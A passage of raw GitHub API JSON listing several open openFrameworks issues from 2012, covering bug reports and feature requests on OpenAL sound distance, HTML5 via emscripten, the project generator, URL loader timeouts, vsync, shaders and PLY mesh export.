},"comments":1,"created_at":"2012-06-11T19:41:06Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxALSoundSetReferenceDistance() and ofxALSoundSetMaxDistance() don't seem to behave as expected. \n\nOne would expect sounds not to be heard at all when the sound source is beyond the MaxDistance, but this is not the case on the default setup. I think it is because of the sound model openAL comes set with.\n\nI found the ofxALSoundSetReferenceDistance() and ofxALSoundSetMaxDistance() to make perfect sense when setting the linear sound model by calling this:\n\nalDistanceModel(AL_LINEAR_DISTANCE_CLAMPED); \n\nI feel this sound model should be set by default, or at least give the API a method hinting that different sound models exist.\n\nI made a video demonstrating the issue here: http://www.youtube.com/watch?v=7Gz2x8R01jE"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1319","id":4985616,"number":1319,"title":"oF in HTML5","user":{"login":"gimlids","id":186277,"avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cc4cace34c61103f0624002a692820f7","url":"https://api.github.com/users/gimlids","html_url":"https://github.com/gimlids","followers_url":"https://api.github.com/users/gimlids/followers","following_url":"https://api.github.com/users/gimlids/following","gists_url":"https://api.github.com/users/gimlids/gists{/gist_id}","starred_url":"https://api.github.com/users/gimlids/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gimlids/subscriptions","organizations_url":"https://api.github.com/users/gimlids/orgs","repos_url":"https://api.github.com/users/gimlids/repos","events_url":"https://api.github.com/users/gimlids/events{/privacy}","received_events_url":"https://api.github.com/users/gimlids/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-09T15:58:45Z","updated_at":"2012-06-10T13:55:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Issue: openFrameworks does not run in the web browser.\n\nSolution: the emscripten backend for the LLVM compiler generates JavaScript, many C++ OpenGL projects have been demonstrated running in the browser with WebGL.\n\nIs anyone interested in this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1314","id":4954019,"number":1314,"title":"PG overwrites .cbp's of different platforms","user":{"login":"sphaero","id":832465,"avatar_url":"https://secure.gravatar.com/avatar/f17e8b6636b46f5bfacbda5854842eb9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f17e8b6636b46f5bfacbda5854842eb9","url":"https://api.github.com/users/sphaero","html_url":"https://github.com/sphaero","followers_url":"https://api.github.com/users/sphaero/followers","following_url":"https://api.github.com/users/sphaero/following","gists_url":"https://api.github.com/users/sphaero/gists{/gist_id}","starred_url":"https://api.github.com/users/sphaero/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sphaero/subscriptions","organizations_url":"https://api.github.com/users/sphaero/orgs","repos_url":"https://api.github.com/users/sphaero/repos","events_url":"https://api.github.com/users/sphaero/events{/privacy}","received_events_url":"https://api.github.com/users/sphaero/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-07T16:44:27Z","updated_at":"2012-06-07T16:44:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I create a simple test project including a linux64 and win CB projects I end up with only one test.cbp. It seems it overwrites itself since all platforms share the same name...\n\nsuggestion... use names like _ i.e. testApp_linux.cbp, testApp_linux64.cbp, test_win.cbp etc\n\nIf that's not already on the roadmap....\n\nI tested with the develop branch"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1312","id":4948268,"number":1312,"title":"ofURLFileLoader doesn't timeout or handle exceptions","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-07T11:18:27Z","updated_at":"2012-09-13T20:56:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you issue a URL to ofURLFileLoader and the http subsystem triggers an exception (no route to host is the easiest to test -- just unplug your network), then the URL request will sit in the request queue forever. Turn on OF_LOG_VERBOSE and watch the console output.\n\nThere should be better exception handling, and/or there should be a timeout of some kind."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1306","id":4924361,"number":1306,"title":"projectGenerator fails when run from command line with target folder","user":{"login":"tarcoles","id":1822092,"avatar_url":"https://secure.gravatar.com/avatar/2399652e50fade7a5d8404203b31a61f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2399652e50fade7a5d8404203b31a61f","url":"https://api.github.com/users/tarcoles","html_url":"https://github.com/tarcoles","followers_url":"https://api.github.com/users/tarcoles/followers","following_url":"https://api.github.com/users/tarcoles/following","gists_url":"https://api.github.com/users/tarcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/tarcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tarcoles/subscriptions","organizations_url":"https://api.github.com/users/tarcoles/orgs","repos_url":"https://api.github.com/users/tarcoles/repos","events_url":"https://api.github.com/users/tarcoles/events{/privacy}","received_events_url":"https://api.github.com/users/tarcoles/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":8,"created_at":"2012-06-06T07:50:15Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I run the projectGenerator without arguments and use the provided GUI, I can create a new project.\n\nBut if I try to run it as a command line tool it fails halfway through. I would guess a step to make the source folders is missing:\n\n mkdir ~/Public/carne\n\n ./projectGenerator --linux64 ~/Public/carne\n OF: OF_LOG_ERROR: Error: Missing GL version\n\n OF: OF_LOG_ERROR: ofDirectoryLister::listDirectory() error opening directory /home/gabriel/Public/carne/src/\n\n tree ~/Public/carne\n /home/gabriel/Public/carne\n |-- carne.cbp\n |-- carne.workspace\n |-- config.make\n `-- Makefile\n\n 0 directories, 4 files\n\nThis has been reproduced on Debian GNU/Linux wheezy/sid 64bit and Ubuntu 32bit"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1299","id":4861832,"number":1299,"title":"projectGenerator VS2010 release mode : no AdditionalIncludeDirectories","user":{"login":"sloopidoopi","id":248498,"avatar_url":"https://secure.gravatar.com/avatar/69d034865cb1f775bb1e0b47ff0580b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69d034865cb1f775bb1e0b47ff0580b2","url":"https://api.github.com/users/sloopidoopi","html_url":"https://github.com/sloopidoopi","followers_url":"https://api.github.com/users/sloopidoopi/followers","following_url":"https://api.github.com/users/sloopidoopi/following","gists_url":"https://api.github.com/users/sloopidoopi/gists{/gist_id}","starred_url":"https://api.github.com/users/sloopidoopi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sloopidoopi/subscriptions","organizations_url":"https://api.github.com/users/sloopidoopi/orgs","repos_url":"https://api.github.com/users/sloopidoopi/repos","events_url":"https://api.github.com/users/sloopidoopi/events{/privacy}","received_events_url":"https://api.github.com/users/sloopidoopi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2012-06-01T17:50:14Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"In the projectGenerator.vcxproj the AdditionalIncludeDirectories for the release mode are missing. (I copied the entries from the debug mode for testing and compilaton worked)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1292","id":4840460,"number":1292,"title":"ofSetVerticalSync(false) no effect, other framerate issues","user":{"login":"ChristophPacher","id":463776,"avatar_url":"https://secure.gravatar.com/avatar/1c1ed6a26b6cb2351d65b3b02677b8d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1c1ed6a26b6cb2351d65b3b02677b8d7","url":"https://api.github.com/users/ChristophPacher","html_url":"https://github.com/ChristophPacher","followers_url":"https://api.github.com/users/ChristophPacher/followers","following_url":"https://api.github.com/users/ChristophPacher/following","gists_url":"https://api.github.com/users/ChristophPacher/gists{/gist_id}","starred_url":"https://api.github.com/users/ChristophPacher/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ChristophPacher/subscriptions","organizations_url":"https://api.github.com/users/ChristophPacher/orgs","repos_url":"https://api.github.com/users/ChristophPacher/repos","events_url":"https://api.github.com/users/ChristophPacher/events{/privacy}","received_events_url":"https://api.github.com/users/ChristophPacher/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-31T16:24:30Z","updated_at":"2012-05-31T17:02:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\n\nI am on a Windows 7 x64 Laptop (NV 420m GPU), using VS2010, latest OF trunk, lastest experimental ofxOpenNI trunk, latest OpenNI/nite binaries, OpenCV trunk from March, CUDA 4.1.\n\nWhen running my kinect app i have a hard time to control the FPS aswell as Vsync. Sometimes the app shows 300+ FPS sometimes +60 sometimes 30 when setting ofSetVerticalSync(true) and ofSetFramerate(60) (or using none of the settings), and I experience some slowdowns in the ofxOpenNI thread to 20 FPS when playing an .oni file, that recover back to normal 30 FPS. Sometimes the app runs perfectly with no slow downs but it is pretty much randomly changeing even with just an app restart or system restart. No changes in the Nvidia driver settings seem to directly and repeatetly control the FPS. The ofxOpenCV example is controlable and behaves as one would expect, but its not threaded.\n\nI am puzzeld and I do not know what could be the root of the problem. Any ideas where I could look next? Are there any instructions or patterns i should avoid when interacting with my OpenNI thread that could influence the Opengl thread?\n\nAnyone wanting to test this can reproduce this with running the sample project of gameovers ofxOpenNI called src-ONIRecording-Simple. \n\nThanks\n\nChris"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","id":4767675,"number":1279,"title":"ofShader example with HD Graphics 3000 issue","user":{"login":"subtiv","id":1012684,"avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"837cfe96365c031130a46311eb11d86a","url":"https://api.github.com/users/subtiv","html_url":"https://github.com/subtiv","followers_url":"https://api.github.com/users/subtiv/followers","following_url":"https://api.github.com/users/subtiv/following","gists_url":"https://api.github.com/users/subtiv/gists{/gist_id}","starred_url":"https://api.github.com/users/subtiv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/subtiv/subscriptions","organizations_url":"https://api.github.com/users/subtiv/orgs","repos_url":"https://api.github.com/users/subtiv/repos","events_url":"https://api.github.com/users/subtiv/events{/privacy}","received_events_url":"https://api.github.com/users/subtiv/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-26T19:27:56Z","updated_at":"2012-05-28T08:08:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","id":4554058,"number":1256,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-05-13T18:20:29Z","updated_at":"2012-05-17T21:42:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","id":4539985,"number":1252,"title":"0071 ply (mesh.save()) Point export is broken","user":{"login":"laserpilot","id":1041023,"avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","url":"https://api.github.com/users/laserpilot","html_url":"https://github.com/laserpilot","followers_url":"https://api.github.com/users/laserpilot/followers","following_url":"https://api.github.com/users/laserpilot/following","gists_url":"https://api.github.com/users/laserpilot/gists{/gist_id}","starred_url":"https://api.github.com/users/laserpilot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/laserpilot/subscriptions","organizations_url":"https://api.github.com/users/laserpilot/orgs","repos_url":"https://api.github.com/users/laserpilot/repos","events_url":"https://api.github.com/users/laserpilot/events{/privacy}","received_events_url":"https://api.github.com/users/laserpilot/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":6,"created_at":"2012-05-11T19:45:53Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","id":4507492,"number":1250,"title":"bug: ofToDataPath broken again","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","t